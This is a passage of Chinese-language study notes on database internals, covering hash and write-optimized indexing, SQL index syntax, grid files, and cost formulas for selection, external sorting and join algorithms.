- 所选的哈希函数产生了非均匀的键值分布。
尽管可以通过优化来降低桶溢出的概率,但无法完全消除;通常通过使用溢出桶来处理桶溢出问题。
溢出桶是用于存储那些无法放入原始桶中的记录的额外存储单元。通过这种方式,即使发生桶溢出,记录仍然可以被有效地存储和访问。
Hash Indexing¶
哈希不仅可以用于文件组织,还可以用于索引结构的创建。哈希索引将搜索键及其关联的记录指针组织成一个哈希文件结构。
严格来说,如果文件本身是使用哈希组织的,那么在其上使用相同搜索键的单独主哈希索引是没有必要的,因此哈希索引总是作为辅助索引。然而,我们使用“哈希索引”一词来指代辅助索引结构和哈希组织的文件。
哈希索引的优点在于其快速的查找速度,因为它可以直接通过哈希函数定位到相应的桶,从而快速访问记录。这使得哈希索引在处理大量数据时非常高效,尤其是在需要频繁查找的场景中。
然而,哈希索引也有其局限性,例如在处理范围查询时效率较低,因为哈希索引不维护数据的顺序。此外,哈希索引在处理动态数据集时可能需要重新哈希以适应数据的增长。
总的来说,哈希索引是一种强大的工具,适用于需要快速查找的应用场景,但在选择使用时需要考虑其局限性和适用性。
Dynamic Hashing¶
在静态哈希中,哈希函数 h 将搜索键值映射到固定数量的桶地址集合 B 中。然而,随着时间的推移,数据库会增长。如果初始的桶数量过少,性能会因为过多的溢出而下降。如果预期未来文件的大小并相应地分配桶的数量,则最初会浪费大量空间。如果数据库缩小,空间也会被浪费。一个选择是定期使用新的哈希函数重新组织文件,但这非常昂贵。
这些问题可以通过使用允许动态修改桶数量的技术来避免。
动态哈希技术包括:
-
扩展哈希:通过使用目录来管理桶,目录的大小可以动态增长或缩小。每个目录项指向一个桶,哈希函数的结果用于索引目录。这样可以在不重新组织整个文件的情况下增加或减少桶的数量。
-
线性哈希:通过逐步增加桶的数量来处理文件的增长,而不是一次性增加。线性哈希使用一个增量的方式来分配新的桶,并在需要时重新分配现有记录。
动态哈希的优点在于它能够适应数据库的增长和缩小,避免了静态哈希中常见的空间浪费和性能下降问题。通过动态调整桶的数量,动态哈希可以在保持高效查找性能的同时,优化存储空间的使用。
然而,动态哈希也有其复杂性,例如需要额外的机制来管理桶的动态变化,并且在某些情况下可能会引入额外的计算开销。
Extendable Hashing¶
可扩展哈希是一种动态哈希技术,适用于大小不断变化的数据库。它允许动态修改哈希函数,并通过使用目录来管理桶的地址。
在可扩展哈希中,哈希函数生成一个大范围的值,通常是 \(b\) 位整数,\(b = 32\)。在任何时候,只使用哈希函数的前缀来索引桶地址表。前缀的长度为 \(i\) 位,\(0 \leq i \leq 32\)。桶地址表的大小为 \(2^i\)。最初,\(i = 0\)。
随着数据库的增长和缩小,\(i\) 的值也会相应地增长和缩小。桶地址表中的多个条目可能指向同一个桶。因此,实际的桶数量小于 \(2^i\)。由于桶的合并和分裂,桶的数量也会动态变化。
这种方法的优点在于它能够灵活地适应数据库的变化,避免了静态哈希中常见的空间浪费和性能下降问题。通过动态调整桶的数量和哈希函数的前缀长度,可扩展哈希在保持高效查找性能的同时,优化了存储空间的使用。
然而,可扩展哈希也需要额外的机制来管理桶的动态变化,并且在某些情况下可能会引入额外的计算开销。
每个桶 \(j\) 存储一个值 \(i_j\);所有指向同一桶的条目在前 \(i_j\) 位上具有相同的值。
要定位包含搜索键 \(K_j\) 的桶:
- 计算 \(h(K_j) = X\)
- 使用 \(X\) 的前 \(i\) 个高位作为桶地址表中的位移,并跟随指针到达适当的桶
要插入具有搜索键值 \(K_j\) 的记录:
- 按照与查找相同的过程,定位桶 \(j\)。
- 如果桶 \(j\) 中有空间,则将记录插入桶中。
- 否则,必须分裂桶并重新尝试插入。 4 在某些情况下使用溢出桶
分裂桶 j 时插入搜索键值为 \(K_j\) 的记录: - 如果 \(i > i_j\)(多个指针指向桶 \(j\)): - 分配一个新桶 \(z\),并将 \(i_j\) 和 \(i_z\) 设置为旧的 \(i_j + 1\)。 - 将桶地址表中指向 \(j\) 的后一半条目改为指向 \(z\)。 - 移除并重新插入桶 \(j\) 中的每个记录。 - 重新计算 \(K_j\) 的新桶,并将记录插入该桶(如果桶仍然满,则需要进一步分裂)。
- 如果 \(i = i_j\)(只有一个指针指向桶 \(j\)): - 增加 \(i\) 并将桶地址表的大小加倍。 - 将表中的每个条目替换为两个指向同一桶的条目。 - 重新计算 \(K_j\) 的新桶地址表条目。 - 现在 \(i > i_j\),因此使用上述第一种情况。
溢出桶的创建:
- 当插入一个值时,如果经过多次分裂后桶仍然满(即 \(i\) 达到某个限制 \(b\)),则创建一个溢出桶,而不是进一步分裂桶地址表。
删除键值: - 定位键值所在的桶并将其删除。 - 如果桶变为空,则可以删除该桶(同时适当更新桶地址表)。 - 桶的合并可以进行(仅能与具有相同 \(i_j\) 值和相同 \(i_j - 1\) 前缀的“伙伴”桶合并,如果存在的话)。 - 也可以减少桶地址表的大小。
接下来通过一个例子来理解可扩展哈希的插入过程:
插入brighton时,hash结果为0(mod \(2^0\)),插入到bucket0中,深度为0,全局和局部深度一样;
插入第一个Downtown时,hash结果为0,也插入bucket0,此时桶满了;
插入第二个Downtown时,hash结果为0,放不下了,此时全局深度需要+1,分裂成两个桶bucket0和bucket1,全局深度\(i\)为1,局部深度\(i_j\)为1,将两个downtown插入bucket1,Brighton插入bucket0;此时bucket1也满了
此时目录表为0和1
接下来插入Mianus时,第一位为1,想插入bucket1,但是bucket1满了,此时需要分裂bucket1,全局深度\(i\)为2,将bucket1分裂成bucket10和bucket11,将Mianus插入bucket11,
此时目录表为00,01,10,11;其中00,01指向bucket0,因为其深度仍然还是1(\(i>i_j\)),10,11指向bucket10和11,因为其深度为2(\(i=i_j\))
接下来插入三个perryridge时,其对应Hash值为1111,第一个正常进入11,第二个需要分裂,全局深度\(i\)为3,将11分裂成110和111,将第一第二个perryridge插入111,第三个perryridge插入时发现又满了,假设此时分裂达到了阈值,那么创建一个溢出桶存放第三个;
此时目录表为000,001,010,011,100,101,110,111;其中000,001,010,011指向bucket0,因为其深度仍然还是1(\(i>i_j\)),100,101指向bucket10,因为其深度为2(\(i>i_j\)),110,111指向bucket110和111,因为其深度为3(\(i=i_j\));
最后插入Redwood and Round Hill records,直接根据索引插入即可;
Ordered Indexing VS. Hashing
在选择索引方法时,需要考虑以下几个因素:
-
周期性重组的成本:在某些情况下,索引可能需要定期重组以保持其效率。重组的成本可能会影响索引方法的选择。
-
插入和删除的相对频率:如果插入和删除操作频繁,可能需要选择一种能够高效处理这些操作的索引方法。
-
优化平均访问时间与最坏情况访问时间的权衡:在某些应用中,可能需要在优化平均访问时间和最坏情况访问时间之间进行权衡。
-
预期的查询类型:
- 哈希索引:通常在检索具有指定键值的记录时表现更好。
- 有序索引:如果范围查询很常见,则有序索引更为合适。
Write-Optimized Indexing¶
LSM Tree¶
在写优化索引中,LSM树(Log-Structured Merge-Tree)是一种常用的数据结构。其基本思想是将记录首先插入到内存中的树(L0树)中。
当内存树满时,记录会被移动到磁盘上的树(L1树)。L1树通过自底向上的构建方式,合并现有的L1树和来自L0树的记录,构建B+-树。
当L1树超过某个阈值时,会合并到L2树中。以此类推,更多的层级可以继续扩展。对于每一层级Li+1树,其大小阈值是Li树大小阈值的k倍。
这种结构的优点在于,它能够有效地处理大量的写操作,同时在读取时通过合并的B+-树提供高效的查询性能。
LSM方法的优点 - 插入操作仅使用顺序I/O操作 - 叶子节点是满的,避免了空间浪费 - 与普通B+-树相比,每条记录插入所需的I/O操作次数减少(在某个大小范围内)
LSM方法的缺点 - 查询需要搜索多个树 - 每个层级的内容会被多次复制
Stepped-Merge Index¶
Stepped-Merge Index是LSM树的一种变体,每个层级有多个树。 - 相较于LSM树,写入成本降低 - 但查询成本更高 - 使用布隆过滤器来避免在大多数树中进行查找
Insertion and Deletion¶
在LSM树中,删除操作通过添加特殊的“删除”条目来处理。查找操作会找到原始条目和删除条目,并且必须仅返回那些没有匹配删除条目的条目。当树合并时,如果发现删除条目与原始条目匹配,则两者都会被删除。
更新操作通过插入+删除来处理。
LSM树最初是为基于磁盘的索引引入的,但在基于闪存的索引中也很有用,因为它们可以最大限度地减少擦除操作。LSM树的阶梯合并变体在许多大数据存储系统中使用,例如Google BigTable、Apache Cassandra、MongoDB,以及最近的SQLite4、LevelDB和MySQL的MyRocks存储引擎。
Buffer Tree¶
Buffer Tree是一种B+-树的变体,其关键思想是在每个内部节点中设置一个缓冲区以存储插入操作。当缓冲区满时,插入操作会被移动到更低的层级。通过使用较大的缓冲区,每次可以将许多记录移动到更低的层级,从而相应地减少每条记录的I/O操作。
Buffer Tree的优点
- 查询的开销较小
- 可以与任何树索引结构结合使用
- 在PostgreSQL的通用搜索树(GiST)索引中使用
Buffer Tree的缺点 - 比LSM树有更多的随机I/O操作
Index Definition in SQL¶
SQL提供了创建和删除索引的语法,使数据库管理员和开发人员能够优化查询性能。
Create Index¶
基本语法:
Example:
-- 在branch表的branch-name列上创建索引
CREATE INDEX b-index ON branch(branch-name);
-- 创建多列索引
CREATE INDEX cust-strt-city-index ON customer(customer-city, customer-street);
Create Unique Index¶
通过创建唯一索引,可以间接指定并强制执行搜索键是候选键的条件:
Example:
注意:如果SQL已经支持唯一性完整性约束(通过UNIQUE关键字),则不一定需要使用唯一索引。
Drop Index¶
语法:
Other Index Options¶
根据不同的数据库管理系统,创建索引时可能还有其他选项,如:
- 指定索引类型(B+树、哈希等)
- 指定聚集索引(Clustered Index)或非聚集索引(Non-Clustered Index)
- 设置填充因子(Fill Factor)
- 包含额外的列(INCLUDE子句)
例如,在某些数据库系统中:
-- 在MySQL中创建B树索引
CREATE INDEX idx_name USING BTREE ON table_name(column_name);
-- 在SQL Server中创建聚集索引
CREATE CLUSTERED INDEX idx_name ON table_name(column_name);
索引的选择和创建应基于查询模式、数据分布和系统性能要求进行考虑。
Multiple-Key Access¶
Grid File¶
网格文件(grid file)是一种用于加快处理涉及一个或多个比较运算符的一般性多搜索键查询的结构。 它具有以下特点: - 拥有一个单一的网格数组,并且针对每个搜索键属性都有一个线性刻度。网格数组的维度数量与搜索键属性的数量相等。例如,如果有两个搜索键属性,那么网格数组就是二维的。
- 网格数组中的多个单元格可以指向同一个存储桶(bucket)。也就是说,不同的单元格可能对应着相同的数据存储位置。
- 当要为一个搜索键值找到对应的存储桶时,需要使用线性刻度来确定该值所在单元格的行和列,然后顺着单元格的指针就能找到对应的存储桶。
- 通过这种结构,网格文件可以更高效地处理多搜索键的查询操作,提高数据检索的速度和效率。
在插入数据时,如果一个存储桶已满,当有不止一个单元格指向该存储桶时,可以创建一个新的存储桶。这一思路与可扩展散列类似,但应用于多个维度。 如果只有一个单元格指向该已满的存储桶,那么就必须创建一个溢出存储桶,或者增大网格的规模。
- 必须选择合适的线性刻度,以便将记录均匀地分布在各个单元格之间。否则,将会产生过多的溢出存储桶。
- 定期进行重新组织以增大网格规模会有所帮助。但重新组织的代价可能非常高昂。
- 网格数组的空间开销可能会很大。
Query Processing¶
约 8135 个字 18 行代码 7 张图片 预计阅读时间 28 分钟
Measures of Query Cost¶
Cost is generally measured as total elapsed time for answering query.
影响时间成本的因素有很多,一般而言我们主要关注 Disk Access, CPU Time, Network Traffic.
而 Disk Access 是主导因素,主要考虑以下三个方面
- Number of Seek operations
- Read Cost: Number of blocks read \(\times\) Average block read cost
- Write Cost: Number of blocks written \(\times\) Average block write cost
而Write Cost 一般远大于 Read Cost,因为写完之后还需要从内存中读出来,以确保数据写回的正确性。
为了简化计算,我们使用
- \(t_T\) Time to transfer a block
- \(t_S\) Time for one seek
例如,查找\(b\)个block和\(s\)次seek的代价为\(b t_T + s t_S\)
内存缓冲区对查询成本的影响
查询成本很大程度上取决于主内存中缓冲区的大小:
- 更多的内存可以减少对磁盘访问的需求
- 实际可用于缓冲的内存大小取决于其他并发的操作系统进程,这很难在实际执行前确定
- 我们通常使用最坏情况估计,假设只有操作所需的最小内存可用
- 同时也会考虑最佳情况估计
需要注意的是,所需数据可能已经在缓冲区中,这样可以避免磁盘I/O。但这种情况很难在成本估算中准确考虑。
Selection Operation¶
File Scan¶
文件扫描是一种 不使用索引 的搜索算法,用于定位和检索满足选择条件的记录。
A1 - Linear Search¶
线性搜索是最基本的选择操作实现方法:
算法 A1(线性搜索):
-
扫描每个文件块并测试所有记录,检查它们是否满足选择条件
-
成本估计 = \(b_r\) 次 block transfer + 1 次 seek
- \(b_r\) 表示包含关系 \(r\) 中记录的块数
- 如果选择条件是基于键属性,找到记录后可以停止
- 成本 = \((b_r/2)\) 次 block transfer + 1 次 seek,这是平均的成果,具体来说,我们找到第一个满足条件的记录就可以返回了,因为它是唯一的;最好的情况是\(b_r=1\),最坏的情况是\(b_r=b\),由于目标文件是随机存储的,所以期望就是就是\(b_r/2\)
1次Seek是因为将磁头移动到目标块,然后依次往下面走就行
- 线性搜索可以应用于任何选择条件、任何文件记录排序方式,不需要索引
A2 - Binary Search¶
- 适用条件:选择是一个等值比较(equality comparison),且文件按该属性排序
-
假设关系的块是连续存储的
-
成本 = \(\lceil\log_2(b_r)\rceil\) 次 block transfer + \(\lceil\log_2(b_r)\rceil\) 次 seek(定位第一个元组的成本)二分搜索的工作原理要求每次比较后跳转到文件的不同部分。每次我们需要检查一个新的中间点时,都需要将磁盘头重新定位到一个可能相距较远的新块位置。
-
如果选择不是基于键属性,还需加上包含满足选择条件记录的块数
- block transfer = \(\lceil\log_2(b_r)\rceil\) + \(\lceil sc(A, r)/f_r \rceil\) - 1, 其中\(sc(A, r)\)是满足选择条件的记录数,\(f_r\)是每个块的记录数当我们知道满足选择条件的记录总数 \(sc(A, r)\) 时,需要计算这些记录会占用多少个块。所以用记录总数 \(sc(A, r)\) 除以每块记录数 \(f_r\),再向上取整 \(\lceil sc(A, r)/f_r \rceil\),就得到了存储这些记录所需的块数。
例如,如果有100条记录满足条件,而每个块可以存储25条记录,那么就需要 \(\lceil 100/25 \rceil = 4\) 个块来存储这些记录。
所以完整的传输成本 = 定位第一个满足条件记录所需的块传输 + 读取所有满足条件记录所需的块数 - 1(减1是因为第一个块已经在定位过程中计算过了)。
二分搜索的局限性
二分搜索通常不适用于数据库查询,因为: - 数据通常不是连续存储的 - 除非有可用的索引,否则二分搜索需要比索引搜索更多的寻道操作
Summary
Linear Search 和 Binary Search 都是基于文件扫描的搜索算法,但它们在性能上有显著差异。
Linear Search 的优点是:
- 适用于任何选择条件
- 不需要预先排序
- 实现简单
Binary Search 的优点是:
- 适用于等值比较
- 需要预先排序
- 实现复杂
- 性能更好
Index Scan¶
顾名思义,索引扫描就是利用索引进行扫描。
A3 - Primary Index - Equality¶
- 适用条件:在关系的键属性上建立了主索引,且查询是等值条件
- 检索满足等值条件的单个记录
- 成本 = \((h_i + 1) \times (t_T + t_S)\)
- 其中 \(h_i\) 为索引树的高度(与数据结构定义略有不同,这里指的是一共有多少层,也就是从1开始)
- 索引扫描需要 \(h_i\) 次读取操作找到索引项
- 加 1 是因为需要一次额外的读取操作来访问包含目标记录的数据块
首先,我们需要从索引根节点开始,逐层向下搜索,每次需要一次seek操作将磁头定位到索引块,一次transfer操作读取该索引块的内容,这个过程重复\(h_i\)次(索引树的高度),找到叶子节点中的索引项后,还需要一次额外操作来访问实际数据块:再一次seek操作来将磁头定位到包含目标记录的数据块,一次transfer操作来读取该数据块。
A4 - Primary Index - Equality on Non-key¶
- 适用条件:在关系的非键属性上建立了主索引,且查询是等值条件
- 检索满足条件的多个记录,这些记录通常位于连续的数据块中
- 成本 = \(h_i \times (t_T + t_S) + t_S + t_T \times b\)
- 其中 \(h_i\) 为索引树高度
- \(b\) 为包含匹配记录的块数量
- \(h_i \times (t_T + t_S)\) 用于在索引中查找第一个匹配的索引项
- \(t_S\) 用于将磁头定位到第一个包含匹配记录的数据块
- \(t_T \times b\) 用于读取所有包含匹配记录的连续块
与A3类似,不过找到叶子节点后有多个block需要读取,所以需要\(t_T \times b\)
A5 - Secondary Index - Equality on Non-key¶
- 适用条件:在关系的非键属性上建立了二级索引,且查询是等值条件
- 检索匹配记录的行为取决于搜索键是否为候选键
- 如果搜索键是候选键(检索单条记录)成本 = \((h_i + 1) \times (t_T + t_S)\)
- 如果搜索键不是候选键(检索多条记录)每个匹配的记录可能位于不同的数据块中,成本 = \((h_i + m + n) \times (t_T + t_S)\)
- 首先通过索引树查找(\(h_i\) 次操作),然后读取包含记录指针的叶子节点(\(m\) 次操作)最后根据指针读取实际记录(\(n\) 次操作)
- 这种情况开销非常大!可能比线性扫描更糟糕
- 每次读取一条记录都需要一次独立的I/O操作
如比较符>, <, >=,<=,<> 与等值比较的不同之处在于其选择范围更大
A6 - Primary Index - Range¶
- 适用条件:在关系的某属性上建立了主索引,且查询是范围条件
- 使用索引找到范围的第一个值,然后顺序扫描关系
- 成本 = \(h_i \times (t_T + t_S) + t_S + t_T \times b\)
- 其中 \(b\) 是范围内所有匹配记录占用的块数量
- 类似于A4的成本结构
A7 - Secondary Index - Comparison¶
-
适用于辅助索引上的比较操作(如 \(\sigma_{A \geq v}(r)\) 或 \(\sigma_{A < v}(r)\))
-
对于 \(\sigma_{A \geq v}(r)\):使用索引找到第一个值 \(\geq v\) 的索引项,然后顺序扫描索引找出所有指向的记录
-
对于 \(\sigma_{A < v}(r)\):从索引开始顺序扫描,直到找到第一个 \(\geq v\) 的值为止
-
在任何情况下,都需要获取指向的记录
- 每个记录需要一次I/O操作
- 线性文件扫描可能更划算
Implementation of complex Selections¶
如果有多个条件的合取:\(\sigma_{\theta_1 \wedge \theta_2 \wedge \ldots \wedge \theta_n}(r)\)
A8 - conjunctive selection using one index)¶
-
选择一个条件 \(\theta_i\) 和算法A1到A7中的一个,使得处理 \(\sigma_{\theta_i}(r)\) 的成本最小
-
在内存缓冲区中检查获取的元组是否满足其他条件
-
这种方法适用于一个条件的选择性非常高的情况,其他条件可以在内存中高效验证
A9 - conjunctive selection using one index)¶
- 如果有可用的组合索引(即多键索引),可以直接使用它处理多个条件
- 这种方法比单独处理每个条件更高效
A10 - conjunctive selection using one index)¶
- 如果多个条件各有对应的索引,可以:
- 使用每个索引获取满足对应条件的记录指针集合
- 计算所有这些集合的交集,确定同时满足所有条件的记录
- 从文件中读取这些记录
- 如果某些条件没有合适的索引,在内存中应用测试
如果是多个条件的析取:\(\sigma_{\theta_1 \vee \theta_2 \vee \ldots \vee \theta_n}(r)\)
A11 - disjunctive selection using one index)¶
- 适用条件:所有条件都有可用索引,否则使用线性扫描
- 使用每个条件对应的索引,获取满足条件的记录指针集合
- 计算所有这些集合的并集
- 从文件中读取这些记录
A12 - negation using one index)¶
否定条件形式为:\(\sigma_{\neg \theta}(r)\)
- 通常使用文件的线性扫描
- 如果很少记录满足 \(\neg \theta\),且 \(\theta\) 有可用索引:
- 使用索引找到满足 \(\theta\) 的记录
- 获取这些记录
- 计算补集得到满足 \(\neg \theta\) 的记录
Sorting¶
排序是数据库查询处理中的基础操作,有两个主要使用场景:
- 响应需要有序输出的查询
- 加速连接操作的实现
数据库系统需要能够处理比内存大的数据集的排序。实现方式主要有:
Internal Sort¶
- 适用于能够完全装入内存的关系
- 可以使用快速排序(quicksort)等高效的内存排序算法
External Sort-Merge¶
- 适用于无法完全装入内存的大型关系
- 采用多路归并排序(external sort-merge)算法
External Sort-Merge Algorithm¶
假设 \(M\) 表示可用内存大小(以页或块为单位):
-
创建有序段(runs):
- 初始化 \(i = 0\)
- 重复以下步骤直到处理完整个关系:
- (a) 读取 \(M\) 个数据块到内存
- (b) 在内存中对数据块进行排序
- © 将排序后的数据写入到段 \(R_i\),并递增 \(i\)
- 最终 \(i\) 的值为 \(N\)(段的数量)
-
合并段(N-路合并):
- 假设 \(N < M\)(段数不超过内存容量):
- 使用 \(N\) 个内存块作为输入缓冲区,1个块作为输出缓冲区
- 从每个段读取第一个块到各自的缓冲区
- 反复执行:
- 选择所有缓冲区中排序值最小的记录
- 将该记录写入输出缓冲区(缓冲区满时写入磁盘)
- 从原缓冲区删除该记录,缓冲区空时从对应段读取下一块
- 直到所有输入缓冲区都为空
- 假设 \(N < M\)(段数不超过内存容量):
当 \(N \geq M\) 时,需要多次合并传递:
- 每次传递合并 \(M-1\) 个连续段
- 一次传递将段数减少为原来的 \(\frac{1}{M-1}\) ,同时每个段的长度增加相同倍数
- 重复传递直到所有段合并为一个
Eg
If M=11, and there are 90 runs, one pass reduces the number of runs to 9, each 10 times the size of the initial runs.
External Sort-Merge Cost Analysis¶
-
合并传递次数:
- 需要 \(\lceil\log_{M-1}(b_r/M)\rceil\) 次合并传递
- 其中 \(b_r\) 是关系 \(r\) 的块数
-
块传输次数:
在外部排序-合并算法中,每个数据块通常需要经历一次读取和一次写入操作。 具体来说:
-
在初始段创建阶段,每个块需要从磁盘读入内存(一次读取),排序后再写回磁盘形成有序段(一次写入)
-
在每次合并传递中,同样需要从磁盘读取数据块(一次读取),然后将合并后的结果写回磁盘(一次写入)
因此,对于整个关系的 \(b_r\) 个块,在每个阶段(初始段创建和每次合并传递)都需要 \(2b_r\) 次传输操作(\(b_r\) 次读取 + \(b_r\) 次写入)。
唯一的例外是最后一次合并传递,通常不计算写入成本,因为结果可能直接传递给下一个操作而不必写回磁盘。所以总传输次数为:
- 初始段创建:\(2b_r\) 次传输(\(b_r\) 读 + \(b_r\) 写)
- 前 \(\lceil\log_{M-1}(b_r/M)\rceil - 1\) 次合并传递:每次 \(2b_r\) 传输
- 最后一次合并传递:只有 \(b_r\) 次读取操作
一共
- 寻道次数:
段生成阶段:
- 对于每个长度为M的段,需要一次寻道来读取这个段的数据,一次寻道来写入排序后的结果
- 总共有 \(\lceil b_r/M \rceil\) 个段,所以需要 \(2\lceil b_r/M \rceil\) 次寻道
合并阶段:
- 在每次合并传递中,我们需要读取和写入块
- \(b_B\) 是缓冲区大小,表示在一次I/O操作中可以读/写的块数
- 读取时,每读取 \(b_B\) 个块需要一次寻道,所以读取 \(b_r\) 个块需要 \(\lceil b_r/b_B \rceil\) 次寻道
- 写入也是类似的,需要 \(\lceil b_r/b_B \rceil\) 次寻道
- 因此每次合并传递需要 \(2\lceil b_r/b_B \rceil\) 次寻道
- 最后一次合并传递不需要写回磁盘,所以不计算写入寻道次数
- 合并传递总次数是 \(\lceil\log_{M-1}(b_r/M)\rceil\),其中最后一次只需要读取的寻道
- 所以合并阶段的寻道次数为 \(\lceil b_r/b_B \rceil(2\lceil\log_{M-1}(b_r/M)\rceil - 1)\)
总寻道次数 就是段生成和合并阶段的寻道次数之和
为
Join Operation¶
连接操作是关系数据库中最重要的操作之一,它将两个关系中满足特定条件的元组合并起来。
Nested-Loop Join¶
最简单的连接算法是嵌套循环连接:
- \(r\) 被称为外部关系(outer relation),\(s\) 被称为内部关系(inner relation)
- 不需要索引,可用于任何类型的连接条件
- 代价高昂,因为需要检查两个关系中所有元组对
Cost¶
在最坏情况下,如果内存只能容纳每个关系的一个块: - 块传输次数:\(n_r \times b_s + b_r\) - 寻道次数:\(n_r + b_r\)
explanation
- 块传输 \(b_r\):首先需要读取外部关系r的所有块一次
- 块传输 \(n_r \times b_s\):对于r中的每个元组(\(n_r\)个),都需要扫描s的所有块(\(b_s\)个)
- 寻道 \(b_r\):读取外部关系需要的寻道次数
- 寻道 \(n_r\):每处理一个外部元组时,都需要重新定位到内部关系的起始位置,需要一次寻道
如果较小的关系能完全装入内存,应该将其用作内部关系:
-
块传输次数降为 \(b_r + b_s\),读入两个关系
-
寻道次数降为 2,两个关系的寻道
Block Nested-Loop Join¶
块嵌套循环连接是嵌套循环连接的优化版本,以块为单位而不是元组为单位进行处理:
Cost¶
最坏情况估计:
- 块传输次数:\(b_r \times b_s + b_r = b_r(b_s + 1)\)
- 寻道次数:\(2 \times b_r\)
I/O成本分析详解: - 块传输 \(b_r\):读取外部关系的所有块一次 - 块传输 \(b_r \times b_s\):对于外部关系的每个块,都需要读取内部关系的所有块进行匹配 - 寻道 \(b_r\):读取外部关系需要的寻道次数 - 寻道 \(b_r\):对于外部关系的每个块,都需要一次寻道来访问内部关系
对比嵌套循环连接,块嵌套循环连接显著减少了寻道次数,从 \(n_r\) 减少到 \(b_r\),这是因为以块为单位处理减少了对内部关系的重复访问。因为通常 \(n_r \gg b_r\)(元组数远大于块数),所以这种优化非常有效。
Improvement¶
在改进的块嵌套循环连接中,假设内存可以容纳M个块: 1. 我们分配M-2个块来存储外部关系的数据 2. 剩余的1个块用于读取内部关系的数据 3. 另外1个块用于输出缓冲区
这种分配方式的优势在于:
- 可以一次读取外部关系的多个块(M-2个)到内存中
- 然后将这M-2个块与内部关系的每个块进行连接操作
- 这样内部关系只需要被扫描 \(\lceil b_r/(M-2) \rceil\) 次,而不是 \(b_r\) 次
这使得I/O成本显著降低: - 块传输次数:\(\lceil b_r/(M-2) \rceil \times b_s + b_r\) - 寻道次数:\(2 \times \lceil b_r/(M-2) \rceil\)
当M很大时,\(\lceil b_r/(M-2) \rceil\) 可能会接近1,这意味着内部关系几乎只需要被扫描一次,极大地提高了连接操作的效率。
这种优化充分利用了可用内存,是数据库查询优化中的一个重要技术。
Summary
其实优化的想法是减少外部循环的次数,从\(n_r\)到\(b_r\)到\(\lceil b_r/(M-2) \rceil\)
进一步优化:
- 如果连接属性是内部关系的键,在第一次匹配后停止内部循环
- 交替正向和反向扫描内部循环,利用缓冲区中剩余的块
- 如果内部关系有索引,可以使用它加速查找
Index Nested-Loop Join¶
如果内部关系在连接属性上有索引,可以使用索引嵌套循环连接:
-
索引可以替代文件扫描,前提是:
- 连接是等值连接或自然连接
- 内部关系在连接属性上有可用索引(或可以构建临时索引)
-
基本算法:
-
最坏情况:只需一页内存缓冲区,每个外部关系的元组需要一次索引查找
- 成本计算:\(b_r \times (t_T + t_S) + n_r \times c\)
- 其中 \(c\) 是使用索引查找并获取所有匹配元组的成本
- \(c\) 可以估计为针对连接条件的单个选择操作成本
-
成本包含读取外部关系和对每个元组执行索引操作,这里没有内部关系是因为外部寻找的过程就是将其与内部关系做比对了;
-
如果连接属性在两个关系都有索引,应选择元组数较少的关系作为外部关系
Sort-Merge Join¶
当两个关系按连接属性排序或可以先排序再连接时,排序合并连接非常有效:
Algorithm¶
-
排序阶段:对关系r按连接属性排序(如果尚未排序),对关系s按连接属性排序(如果尚未排序)
-
合并阶段:类似于排序算法的合并阶段,主要区别是处理连接属性中的重复:对于连接属性值相同的每对元组,都需要生成一个连接结果
Features¶
- 仅适用于等值连接和自然连接
- 每个块只需读取一次(假设所有给定连接属性值的元组都能放入内存)
- 成本分析:
- 块传输次数:\(b_r + b_s\) 次传输 + 排序成本
- 寻道次数:\(\lceil b_r/b_B \rceil + \lceil b_s/b_B \rceil\) 次
如图所示,两个按a1列排序的关系pr和ps可以高效连接:
- pr包含属性a1和a2
- ps包含属性a1和a3
- 通过合并算法,可以匹配所有连接属性值相同的元组,如(a, 3)和(a, A)
Cost¶
总成本 = 排序r的成本 + 排序s的成本 + 合并阶段成本(\(b_r + b_s\))+ \(\lceil b_r/ b_b \rceil\) + \(\lceil b_s/ b_b \rceil\) Seeks
如果关系已经按连接属性排序,则省略排序成本。
Hybrid Merge-Join¶
混合合并连接 是排序合并连接的一个变种,适用于以下情况:一个关系已按连接属性排序,另一个关系在连接属性上有B+树索引
- 按顺序扫描排序好的关系
- 对于每个元组,使用B+树索引查找匹配的元组
- 将结果按未排序关系的物理地址排序
- 顺序扫描未排序的关系,并与之前的结果合并,替换地址为实际元组
这种方法结合了索引查找和排序合并的优点:
- 避免了对两个关系都进行排序
- 利用已有的索引结构减少I/O操作
- 通过批处理和排序减少了随机I/O访问
Hash Join¶
哈希连接利用哈希函数将具有相同连接属性值的元组分配到相同的桶中:
-
适用于等值连接和自然连接,通过哈希函数将元组分区,使具有相同连接属性值的元组分到同一个桶中,只需比较同一个桶中的元组,不需要跨桶比较
-
能够连接上的记录一定处于同一个桶,但是处于同一个桶的不一定可以连接的上
Hash function¶
- 哈希函数 \(h\) 用于对两个关系进行分区
- \(h\) 将连接属性值映射到范围 \(\{0, 1, ..., n\}\),其中 \(n\) 是分区数
- \(r_0, r_1, ..., r_n\) 表示关系 \(r\) 的分区
- \(s_0, s_1, ..., s_n\) 表示关系 \(s\) 的分区
- 关系 \(r\) 中的元组 \(t_r\) 被放入分区 \(r_i\),其中 \(i = h(t_r[JoinAttrs])\)
- 关系 \(s\) 中的元组 \(t_s\) 被放入分区 \(s_i\),其中 \(i = h(t_s[JoinAttrs])\)
Attributes¶
只有 \(r_i\) 中的元组需要与 \(s_i\) 中的元组比较,不需要与其他分区比较;原因:满足连接条件的元组必然有相同的连接属性值,因此会被哈希到相同的分区.如果连接属性值被哈希到值 \(i\),则关系 \(r\) 的元组必须在分区 \(r_i\),关系 \(s\) 的元组必须在分区 \(s_i\)
Algorithm¶
分区阶段:使用哈希函数 \(h\) 对关系 \(s\) 进行分区,类似地,对关系 \(r\) 进行分区,分区时,为每个分区保留一个内存输出缓冲区
连接阶段:对每个分区 \(i\): - (a) 将分区 \(s_i\) 加载到内存并构建内存哈希索引(使用与 \(h\) 不同的哈希函数) - (b) 读取分区 \(r_i\) 中的元组,对每个元组使用内存哈希索引查找匹配的元组 - \(c\) 输出匹配的连接结果
requirements¶
- 分区数 \(n\) 和哈希函数 \(h\) 的选择应使每个分区 \(s_i\) 能完全装入内存
- 通常 \(n\) 选择为 \(\lceil b_s/M \rceil \times f\),其中:
- \(b_s\) 是构建关系的块数,通常选择较小的关系(\(b_r>b_s\))
- \(M\) 是可用内存页数
- \(f\) 是"修正因子",通常在1.2左右
recursive partitioning¶
如果分区数 \(n\) 大于可用内存页数 \(M\),则需要递归分区:
- 使用 \(M-1\) 个分区而不是 \(n\) 个分区
- 使用不同的哈希函数对这 \(M-1\) 个分区进行进一步分区
- 对大型分区重复分区过程,直到每个分区能装入内存
在现代数据库系统中,递归分区很少需要:
-
